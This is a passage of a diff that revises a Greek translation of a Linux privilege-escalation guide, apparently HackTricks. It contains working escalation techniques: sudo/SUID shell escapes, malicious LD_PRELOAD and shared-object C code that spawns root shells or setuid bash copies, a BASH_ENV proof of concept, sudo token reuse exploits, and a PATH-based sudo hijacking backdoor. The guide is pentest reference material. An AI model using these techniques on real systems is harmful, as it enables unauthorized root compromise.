[here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** ### Ομάδες -Ελέγξτε αν είστε **μέλος κάποιας ομάδας** που θα μπορούσε να σας παραχωρήσει δικαιώματα root: +Ελέγξτε αν είστε **μέλος κάποιας ομάδας** που θα μπορούσε να σας δώσει δικαιώματα root: {{#ref}} @@ -699,7 +727,7 @@ interesting-groups-linux-pe/ ### Πρόχειρο -Ελέγξτε αν υπάρχει κάτι ενδιαφέρον στο πρόχειρο (αν είναι δυνατόν) +Ελέγξτε αν υπάρχει κάτι ενδιαφέρον στο πρόχειρο (αν είναι δυνατό) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -710,33 +738,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Πολιτική Κωδίκων +### Πολιτική Κωδικών Πρόσβασης ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Γνωστοί κωδικοί πρόσβασης +### Γνωστοί κωδικοί -Αν **γνωρίζετε οποιονδήποτε κωδικό πρόσβασης** του περιβάλλοντος, **δοκιμάστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό. +Εάν **γνωρίζετε κάποιον κωδικό** του περιβάλλοντος **προσπαθήστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό. ### Su Brute -Αν δεν σας πειράζει να δημιουργήσετε πολύ θόρυβο και τα δυαδικά `su` και `timeout` είναι παρόντα στον υπολογιστή, μπορείτε να δοκιμάσετε να κάνετε brute-force έναν χρήστη χρησιμοποιώντας [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +Αν δεν σας πειράζει να προκαλέσετε πολύ θόρυβο και τα binaries `su` και `timeout` υπάρχουν στον υπολογιστή, μπορείτε να δοκιμάσετε brute-force σε χρήστη χρησιμοποιώντας [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) με την παράμετρο `-a` προσπαθεί επίσης να κάνει brute-force σε χρήστες. -## Καταχρήσεις εγγράψιμου PATH +## Καταχρήσεις εγγράψιμου $PATH ### $PATH -Αν διαπιστώσετε ότι μπορείτε **να γράψετε μέσα σε κάποιο φάκελο του $PATH**, μπορεί να μπορέσετε να αυξήσετε προνόμια δημιουργώντας **ένα backdoor μέσα στον εγγράψιμο φάκελο** με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από διαφορετικό χρήστη (κατά προτίμηση root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον εγγράψιμο φάκελό σας στο $PATH. +Εάν διαπιστώσετε ότι μπορείτε να **γράψετε σε κάποιο φάκελο του $PATH**, μπορεί να καταφέρετε να αυξήσετε δικαιώματα δημιουργώντας ένα backdoor μέσα στο εγγράψιμο φάκελο με το όνομα μιας εντολής που πρόκειται να εκτελεστεί από διαφορετικό χρήστη (κατά προτίμηση root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον εγγράψιμο φάκελό σας στο $PATH. -### SUDO και SUID +### SUDO and SUID -Μπορεί να σας επιτρέπεται να εκτελέσετε κάποια εντολή χρησιμοποιώντας sudo ή αυτές μπορεί να έχουν το suid bit. Ελέγξτε το χρησιμοποιώντας: +Μπορεί να σας επιτρέπεται να εκτελέσετε κάποια εντολή χρησιμοποιώντας sudo ή να έχουν το suid bit. Ελέγξτε το χρησιμοποιώντας: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Κάποιες **απροσδόκητες εντολές σας επιτρέπουν να διαβάσετε και/ή να γράψετε αρχεία ή ακόμα και να εκτελέσετε μια εντολή.** Για παράδειγμα: +Κάποιες **απροσδόκητες εντολές σάς επιτρέπουν να διαβάσετε και/ή να γράψετε αρχεία ή ακόμα και να εκτελέσετε μια εντολή.** Για παράδειγμα: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -747,25 +775,25 @@ less>! ``` ### NOPASSWD -Η ρύθμιση του Sudo μπορεί να επιτρέψει σε έναν χρήστη να εκτελέσει κάποια εντολή με τα προνόμια άλλου χρήστη χωρίς να γνωρίζει τον κωδικό πρόσβασης. +Η διαμόρφωση του Sudo μπορεί να επιτρέψει σε έναν χρήστη να εκτελέσει κάποια εντολή με τα προνόμια άλλου χρήστη χωρίς να γνωρίζει τον κωδικό. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Σε αυτό το παράδειγμα ο χρήστης `demo` μπορεί να εκτελέσει το `vim` ως `root`. Είναι πλέον απλό να αποκτήσει κανείς ένα shell προσθέτοντας ένα ssh key στον κατάλογο root ή εκτελώντας `sh`. +Σε αυτό το παράδειγμα ο χρήστης `demo` μπορεί να τρέξει το `vim` ως `root`, επομένως είναι πλέον απλό να αποκτηθεί shell προσθέτοντας ένα ssh key στον κατάλογο root ή καλώντας το `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Αυτή η οδηγία επιτρέπει στον χρήστη να **ορίσει μια μεταβλητή περιβάλλοντος** ενώ εκτελεί κάτι: +Αυτή η οδηγία επιτρέπει στον χρήστη να **set an environment variable** κατά την εκτέλεση μιας εντολής: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Αυτό το παράδειγμα, **based on HTB machine Admirer**, ήταν **ευάλωτο** σε **PYTHONPATH hijacking** για να φορτώσει μια αυθαίρετη python βιβλιοθήκη κατά την εκτέλεση του script ως root: +Αυτό το παράδειγμα, **βασισμένο στο HTB machine Admirer**, ήταν **ευάλωτο** σε **PYTHONPATH hijacking** για να φορτώσει μια αυθαίρετη python βιβλιοθήκη κατά την εκτέλεση του script ως root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` @@ -773,11 +801,11 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command. -- Γιατί λειτουργεί: Για μη-διαδραστικά shells, Bash αξιολογεί `$BASH_ENV` και κάνει source αυτό το αρχείο πριν εκτελέσει το στοχευμένο script. Πολλοί κανόνες sudo επιτρέπουν την εκτέλεση ενός script ή ενός shell wrapper. Εάν το `BASH_ENV` διατηρείται από το sudo, το αρχείο σου γίνεται source με προνόμια root. +- Γιατί λειτουργεί: Για μη-διαδραστικά shells, το Bash αξιολογεί `$BASH_ENV` και κάνει source αυτό το αρχείο πριν τρέξει το στοχευμένο script. Πολλοί sudo κανόνες επιτρέπουν την εκτέλεση ενός script ή ενός shell wrapper. Εάν το `BASH_ENV` διατηρείται από το sudo, το αρχείο σας γίνεται source με προνόμια root. - Απαιτήσεις: -- Ένας κανόνας sudo που μπορείς να τρέξεις (οποιοδήποτε target που καλεί `/bin/bash` μη-διαδραστικά, ή οποιοδήποτε bash script). -- Το `BASH_ENV` παρόν στο `env_keep` (έλεγξε με `sudo -l`). +- Ένας sudo κανόνας που μπορείτε να τρέξετε (οποιοσδήποτε target που καλεί `/bin/bash` μη-διαδραστικά, ή οποιοδήποτε bash script). +- Το `BASH_ENV` παρόν στο `env_keep` (ελέγξτε με `sudo -l`). - PoC: ```bash @@ -789,14 +817,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- Σκληροποίηση: -- Αφαιρέστε `BASH_ENV` (και `ENV`) από `env_keep`, προτιμήστε `env_reset`. -- Αποφύγετε shell wrappers για εντολές που επιτρέπονται από sudo· χρησιμοποιήστε ελάχιστα binaries. -- Εξετάστε sudo I/O logging και ειδοποίηση όταν χρησιμοποιούνται διατηρούμενες μεταβλητές περιβάλλοντος. +- Σκληραγώγηση: +- Αφαίρεσε `BASH_ENV` (και `ENV`) από `env_keep`, προτίμησε `env_reset`. +- Απόφυγε shell wrappers για sudo-allowed commands· χρησιμοποίησε minimal binaries. +- Σκέψου sudo I/O logging και ειδοποιήσεις όταν χρησιμοποιούνται preserved env vars. -### Διαδρομές παράκαμψης εκτέλεσης με sudo +### Sudo execution bypassing paths -**Μεταβείτε** για να διαβάσετε άλλα αρχεία ή να χρησιμοποιήσετε **symlinks**. Για παράδειγμα στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Μετάβαση** για να διαβάσεις άλλα αρχεία ή να χρησιμοποιήσεις **symlinks**. Για παράδειγμα στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -806,50 +834,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Αν χρησιμοποιηθεί **wildcard** (\*), γίνεται ακόμα πιο εύκολο: +Αν χρησιμοποιηθεί **wildcard** (\*), είναι ακόμα πιο εύκολο: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Αντιμετώπιση**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Αντιμέτρα**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary χωρίς καθορισμένη διαδρομή εντολής +### Sudo command/SUID binary χωρίς καθορισμένη διαδρομή της εντολής -Εάν η **άδεια sudo** έχει δοθεί για μια μεμονωμένη εντολή **χωρίς να καθορίζεται η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να την εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH +Αν η **sudo permission** έχει δοθεί για μια μεμονωμένη εντολή **χωρίς να καθορίζεται η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να την εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί αν ένα **suid** binary **εκτελεί άλλη εντολή χωρίς να καθορίζει τη διαδρομή προς αυτήν (ελέγξτε πάντα με** _**strings**_ **το περιεχόμενο ενός περίεργου SUID binary)**). +Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί αν ένα **suid** δυαδικό **εκτελεί άλλη εντολή χωρίς να καθορίζει το μονοπάτι προς αυτήν (πάντα ελέγξτε με** _**strings**_ **το περιεχόμενο ενός περίεργου SUID δυαδικού)**. [Payload examples to execute.](payloads-to-execute.md) -### SUID binary με καθορισμένη διαδρομή εντολής +### SUID binary with command path -Αν το **suid** binary **εκτελεί άλλη εντολή καθορίζοντας τη διαδρομή**, τότε μπορείτε να δοκιμάσετε να **export a function** με το όνομα της εντολής που καλεί το suid αρχείο. +If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Then, όταν καλέσετε το suid binary, αυτή η συνάρτηση θα εκτελεστεί +Τότε, όταν καλέσετε το suid binary, αυτή η συνάρτηση θα εκτελεστεί ### LD_PRELOAD & **LD_LIBRARY_PATH** -Η μεταβλητή περιβάλλοντος **LD_PRELOAD** χρησιμοποιείται για να καθορίσει μία ή περισσότερες shared libraries (.so files) που θα φορτωθούν από τον loader πριν από όλες τις άλλες, συμπεριλαμβανομένης της standard C library (`libc.so`). Αυτή η διαδικασία είναι γνωστή ως preloading μιας βιβλιοθήκης. +Η μεταβλητή περιβάλλοντος **LD_PRELOAD** χρησιμοποιείται για να καθορίσει μία ή περισσότερες shared libraries (.so files) που θα φορτωθούν από τον loader πριν από όλες τις υπόλοιπες, συμπεριλαμβανομένης της standard C library (`libc.so`). Αυτή η διαδικασία είναι γνωστή ως προφόρτωση μιας βιβλιοθήκης. -Ωστόσο, για να διατηρηθεί η ασφάλεια του συστήματος και να αποτραπεί η εκμετάλλευση αυτής της δυνατότητας, ιδιαίτερα με εκτελέσιμα **suid/sgid**, το σύστημα επιβάλλει ορισμένες προϋποθέσεις: +Ωστόσο, για να διατηρηθεί η ασφάλεια του συστήματος και να αποτραπεί η εκμετάλλευση αυτής της δυνατότητας, ιδιαίτερα με **suid/sgid** executables, το σύστημα επιβάλλει ορισμένες προϋποθέσεις: -- Ο loader αγνοεί **LD_PRELOAD** για εκτελέσιμα όπου το πραγματικό user ID (_ruid_) δεν αντιστοιχεί στο effective user ID (_euid_). -- Για εκτελέσιμα με suid/sgid, προφορτώνονται μόνο βιβλιοθήκες που βρίσκονται σε standard paths και επίσης έχουν suid/sgid. +- Ο loader αγνοεί το **LD_PRELOAD** για εκτελέσιμα όπου το real user ID (_ruid_) δεν ταυτίζεται με το effective user ID (_euid_). +- Για εκτελέσιμα με suid/sgid, μόνο βιβλιοθήκες σε τυπικές διαδρομές που είναι επίσης suid/sgid προφορτώνονται. -Μπορεί να προκύψει privilege escalation αν έχετε τη δυνατότητα να εκτελέσετε εντολές με `sudo` και η έξοδος του `sudo -l` περιέχει τη δήλωση **env_keep+=LD_PRELOAD**. Αυτή η ρύθμιση επιτρέπει στη μεταβλητή περιβάλλοντος **LD_PRELOAD** να παραμένει και να αναγνωρίζεται ακόμη και όταν οι εντολές εκτελούνται με `sudo`, ενδεχομένως οδηγώντας στην εκτέλεση αυθαίρετου κώδικα με αυξημένα προνόμια. +Privilege escalation μπορεί να συμβεί εάν έχετε τη δυνατότητα να εκτελείτε εντολές με `sudo` και η έξοδος του `sudo -l` περιλαμβάνει τη δήλωση **env_keep+=LD_PRELOAD**. Αυτή η ρύθμιση επιτρέπει στη μεταβλητή περιβάλλοντος **LD_PRELOAD** να διατηρείται και να αναγνωρίζεται ακόμη και όταν οι εντολές εκτελούνται με `sudo`, οδηγώντας ενδεχομένως στην εκτέλεση αυθαίρετου κώδικα με αυξημένα προνόμια. ``` Defaults env_keep += LD_PRELOAD ``` -Αποθηκεύστε ως **/tmp/pe.c** +Αποθήκευσε ως **/tmp/pe.c** ```c #include #include @@ -862,17 +890,17 @@ setuid(0); system("/bin/bash"); } ``` -Στη συνέχεια **μεταγλωττίστε το** χρησιμοποιώντας: +Στη συνέχεια **compile it** χρησιμοποιώντας: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Τελικά, **escalate privileges** τρέχοντας +Τέλος, **escalate privileges** εκτελώντας ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Μια παρόμοια privesc μπορεί να εκμεταλλευτεί εάν ο attacker ελέγχει την env variable **LD_LIBRARY_PATH**, επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες. +> Μια παρόμοια privesc μπορεί να εκμεταλλευθεί αν ο attacker ελέγχει τη μεταβλητή περιβάλλοντος **LD_LIBRARY_PATH** επειδή αυτός ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες. ```c #include #include @@ -894,13 +922,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Όταν συναντάτε ένα binary με δικαιώματα **SUID** που φαίνεται ασυνήθιστο, είναι καλή πρακτική να ελέγχετε αν φορτώνει σωστά αρχεία **.so**. Αυτό μπορεί να ελεγχθεί τρέχοντας την ακόλουθη εντολή: +Όταν συναντάτε ένα binary με δικαιώματα **SUID** που φαίνεται ασυνήθιστο, είναι καλή πρακτική να επαληθεύετε αν φορτώνει σωστά αρχεία **.so**. Αυτό μπορεί να ελεγχθεί εκτελώντας την ακόλουθη εντολή: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Για παράδειγμα, η εμφάνιση ενός σφάλματος όπως _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ υποδεικνύει πιθανότητα για εκμετάλλευση. +Για παράδειγμα, η εμφάνιση ενός σφάλματος όπως _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ υποδεικνύει πιθανότητα εκμετάλλευσης. -Για να το εκμεταλλευτείτε, θα προχωρούσατε δημιουργώντας ένα αρχείο C, π.χ. _"/path/to/.config/libcalc.c"_, που περιέχει τον ακόλουθο κώδικα: +Για να εκμεταλλευτεί κανείς αυτό, θα προχωρούσε δημιουργώντας ένα αρχείο C, π.χ. _"/path/to/.config/libcalc.c"_, που περιέχει τον ακόλουθο κώδικα: ```c #include #include @@ -911,13 +939,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Αυτός ο κώδικας, μόλις μεταγλωττιστεί και εκτελεστεί, στοχεύει να elevate privileges με την τροποποίηση των δικαιωμάτων αρχείων και την εκτέλεση ενός shell με elevated privileges. +Αυτός ο κώδικας, μόλις μεταγλωττιστεί και εκτελεστεί, στοχεύει στην ανύψωση των προνομίων μέσω του χειρισμού των δικαιωμάτων αρχείων και της εκτέλεσης ενός shell με αυξημένα δικαιώματα. -Μεταγλωττίστε το παραπάνω C αρχείο σε shared object (.so) αρχείο με: +Μεταγλωττίστε το παραπάνω αρχείο C σε ένα shared object (.so) αρχείο με: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Τελικά, η εκτέλεση του επηρεασμένου SUID binary θα πρέπει να ενεργοποιήσει το exploit, επιτρέποντας πιθανή παραβίαση του συστήματος. +Τέλος, η εκτέλεση του επηρεασμένου SUID binary θα πρέπει να ενεργοποιήσει το exploit, επιτρέποντας πιθανό συμβιβασμό του συστήματος. ## Shared Object Hijacking ```bash @@ -929,7 +957,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Τώρα που έχουμε βρει ένα SUID binary που φορτώνει μια library από έναν φάκελο όπου μπορούμε να γράψουμε, ας δημιουργήσουμε τη library σε αυτόν τον φάκελο με το απαραίτητο όνομα: +Τώρα που βρήκαμε ένα SUID binary που φορτώνει μια βιβλιοθήκη από έναν φάκελο όπου μπορούμε να γράψουμε, ας δημιουργήσουμε τη βιβλιοθήκη σε εκείνον τον φάκελο με το απαραίτητο όνομα: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -946,13 +974,13 @@ system("/bin/bash -p"); ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -that means that the library you have generated need to have a function called `a_function_name`. +αυτό σημαίνει ότι η βιβλιοθήκη που έχετε δημιουργήσει πρέπει να έχει μια συνάρτηση που ονομάζεται `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να αξιοποιηθούν από έναν επιτιθέμενο για να παρακάμψουν τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **να εισάγετε μόνο arguments** σε μια εντολή. +[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα από Unix binaries που μπορούν να εκμεταλλευτούνται από έναν επιτιθέμενο για να παρακάμψει τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **να εισάγετε μόνο ορίσματα** σε μια εντολή. -Το project συλλέγει νόμιμες λειτουργίες των Unix binaries που μπορούν να καταχραστούν για να διαφύγουν από restricted shells, να escalate ή να διατηρήσουν elevated privileges, να μεταφέρουν αρχεία, να spawn bind και reverse shells, και να διευκολύνουν άλλες post-exploitation εργασίες. +Το έργο συγκεντρώνει νόμιμες λειτουργίες των Unix binaries που μπορούν να καταχραστούν για να ξεφύγουν από restricted shells, να escalate ή να maintain elevated privileges, να μεταφέρουν αρχεία, να spawn bind και reverse shells, και να διευκολύνουν άλλες post-exploitation εργασίες. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -971,24 +999,24 @@ https://gtfoargs.github.io/ ### FallOfSudo -Αν μπορείτε να εκτελέσετε `sudo -l` μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν βρίσκει τρόπο να εκμεταλλευτεί οποιονδήποτε κανόνα sudo. +Αν μπορείτε να τρέξετε `sudo -l` μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν βρίσκει τρόπους να εκμεταλλευτεί κάποιο sudo κανόνα. ### Επαναχρησιμοποίηση Sudo Tokens -Σε περιπτώσεις όπου έχετε **sudo access** αλλά όχι τον κωδικό, μπορείτε να escalate privileges περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια hijacking το session token. +Σε περιπτώσεις όπου έχετε **sudo access** αλλά όχι τον κωδικό, μπορείτε να escalate privileges περιμένοντας την εκτέλεση μιας sudo εντολής και στη συνέχεια αρπάζοντας το session token. -Requirements to escalate privileges: +Απαιτήσεις για escalation: -- Έχετε ήδη ένα shell ως χρήστης "_sampleuser_" -- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15 λεπτά** (από προεπιλογή αυτή είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιήσουμε `sudo` χωρίς να εισάγουμε κωδικό) -- `cat /proc/sys/kernel/yama/ptrace_scope` έχει τιμή 0 -- `gdb` είναι προσβάσιμο (θα πρέπει να μπορείτε να το ανεβάσετε) +- Έχετε ήδη ένα shell ως user "_sampleuser_" +- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στο διάστημα των **τελευταίων 15 λεπτών** (προεπιλεγμένα αυτή είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε κανένα κωδικό) +- `cat /proc/sys/kernel/yama/ptrace_scope` είναι 0 +- `gdb` είναι προσβάσιμο (μπορείτε να το ανεβάσετε) -(Μπορείτε προσωρινά να ενεργοποιήσετε το ptrace_scope με `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ή μόνιμα τροποποιώντας `/etc/sysctl.d/10-ptrace.conf` και ορίζοντας `kernel.yama.ptrace_scope = 0`) +(Μπορείτε προσωρινά να ενεργοποιήσετε το `ptrace_scope` με `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ή μόνιμα τροποποιώντας `/etc/sysctl.d/10-ptrace.conf` και θέτοντας `kernel.yama.ptrace_scope = 0`) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Αν όλες αυτές οι προϋποθέσεις πληρούνται, **μπορείτε να αυξήσετε τα προνόμια χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Το **πρώτο exploit** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα πάρετε αυτόματα root shell, εκτελέστε `sudo su`): +- Το **πρώτο exploit** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα λάβετε αυτόματα root shell, κάντε `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -999,22 +1027,22 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- Ο **τρίτος exploit** (`exploit_v3.sh`) θα **δημιουργήσει ένα sudoers file** που κάνει **τα sudo tokens αιώνια και επιτρέπει σε όλους τους χρήστες να χρησιμοποιούν sudo** +- Το **third exploit** (`exploit_v3.sh`) θα **δημιουργήσει ένα sudoers file** που κάνει **sudo tokens αιώνια και επιτρέπει σε όλους τους χρήστες να χρησιμοποιούν sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Εάν έχετε **write permissions** στον φάκελο ή σε οποιοδήποτε από τα αρχεία που δημιουργήθηκαν εντός αυτού, μπορείτε να χρησιμοποιήσετε το binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) για να **create a sudo token for a user and PID**.\ -Για παράδειγμα, αν μπορείτε να overwrite το αρχείο _/var/run/sudo/ts/sampleuser_ και έχετε ένα shell ως ο εν λόγω user με PID 1234, μπορείτε να **obtain sudo privileges** χωρίς να χρειάζεται να γνωρίζετε το password κάνοντας: +Εάν έχετε **write permissions** στον φάκελο ή σε οποιοδήποτε από τα αρχεία που δημιουργήθηκαν μέσα σε αυτόν μπορείτε να χρησιμοποιήσετε το binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) για να **create a sudo token for a user and PID**.\ +Για παράδειγμα, αν μπορείτε να αντικαταστήσετε το αρχείο _/var/run/sudo/ts/sampleuser_ και έχετε ένα shell ως αυτός ο χρήστης με PID 1234, μπορείτε να **obtain sudo privileges** χωρίς να χρειάζεται να γνωρίζετε το password κάνοντας: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Το αρχείο `/etc/sudoers` και τα αρχεία μέσα στο `/etc/sudoers.d` διαμορφώνουν ποιος μπορεί να χρησιμοποιήσει το `sudo` και πώς. Αυτά τα αρχεία **από προεπιλογή μπορούν να διαβαστούν μόνο από τον χρήστη root και την ομάδα root**.\ -**Αν** μπορείτε να **διαβάσετε** αυτό το αρχείο μπορεί να είστε σε θέση να **αποκτήσετε μερικές ενδιαφέρουσες πληροφορίες**, και αν μπορείτε να **γράψετε** οποιοδήποτε αρχείο θα μπορέσετε να **escalate privileges**. +Το αρχείο `/etc/sudoers` και τα αρχεία μέσα στο `/etc/sudoers.d` καθορίζουν ποιος μπορεί να χρησιμοποιήσει το `sudo` και πώς. Αυτά τα αρχεία **εξ ορισμού μπορούν να διαβαστούν μόνο από τον χρήστη root και την ομάδα root**.\ +**Εάν** μπορείτε να **διαβάσετε** αυτό το αρχείο, μπορεί να είστε σε θέση να **αποκτήσετε κάποιες ενδιαφέρουσες πληροφορίες**, και εάν μπορείτε να **γράψετε** οποιοδήποτε αρχείο θα μπορείτε να **αποκτήσετε αυξημένα προνόμια**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1033,17 +1061,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Υπάρχουν μερικές εναλλακτικές στο binary `sudo` όπως το `doas` για το OpenBSD, θυμηθείτε να ελέγξετε τη διαμόρφωσή του στο `/etc/doas.conf` +Υπάρχουν μερικές εναλλακτικές στο εκτελέσιμο `sudo` όπως το `doas` για το OpenBSD, θυμηθείτε να ελέγξετε τη διαμόρφωσή του στο `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Αν ξέρετε ότι ένας **χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί `sudo`** για να αυξήσει τα προνόμια και έχετε ένα shell μέσα στο context αυτού του χρήστη, μπορείτε να **δημιουργήσετε ένα νέο εκτελέσιμο sudo** που θα εκτελέσει τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Έπειτα, **τροποποιήστε το $PATH** του context του χρήστη (για παράδειγμα προσθέτοντας το νέο path στο .bash_profile) ώστε όταν ο χρήστης εκτελεί sudo, να εκτελείται το εκτελέσιμο sudo που δημιουργήσατε. +Εάν γνωρίζετε ότι ένας **user usually connects to a machine and uses `sudo`** για να αυξήσει τα προνόμια και έχετε ένα shell μέσα σε εκείνο το user context, μπορείτε να **create a new sudo executable** που θα εκτελεί τον κώδικά σας ως root και μετά την εντολή του user. Στη συνέχεια, **modify the $PATH** του user context (για παράδειγμα προσθέτοντας το νέο path στο .bash_profile) ώστε όταν ο user εκτελεί sudo, να εκτελείται το sudo executable σας. -Σημειώστε ότι αν ο χρήστης χρησιμοποιεί διαφορετικό shell (όχι bash) θα χρειαστεί να τροποποιήσετε άλλα αρχεία για να προσθέσετε το νέο path. Για παράδειγμα [ sudo-piggyback](https://github.com/APTy/sudo-piggyback) τροποποιεί `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Μπορείτε να βρείτε ένα άλλο παράδειγμα στο [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Σημειώστε ότι αν ο user χρησιμοποιεί διαφορετικό shell (όχι bash) θα χρειαστεί να τροποποιήσετε άλλα αρχεία για να προσθέσετε το νέο path. Για παράδειγμα[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) τροποποιεί `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Μπορείτε να βρείτε άλλο παράδειγμα στο 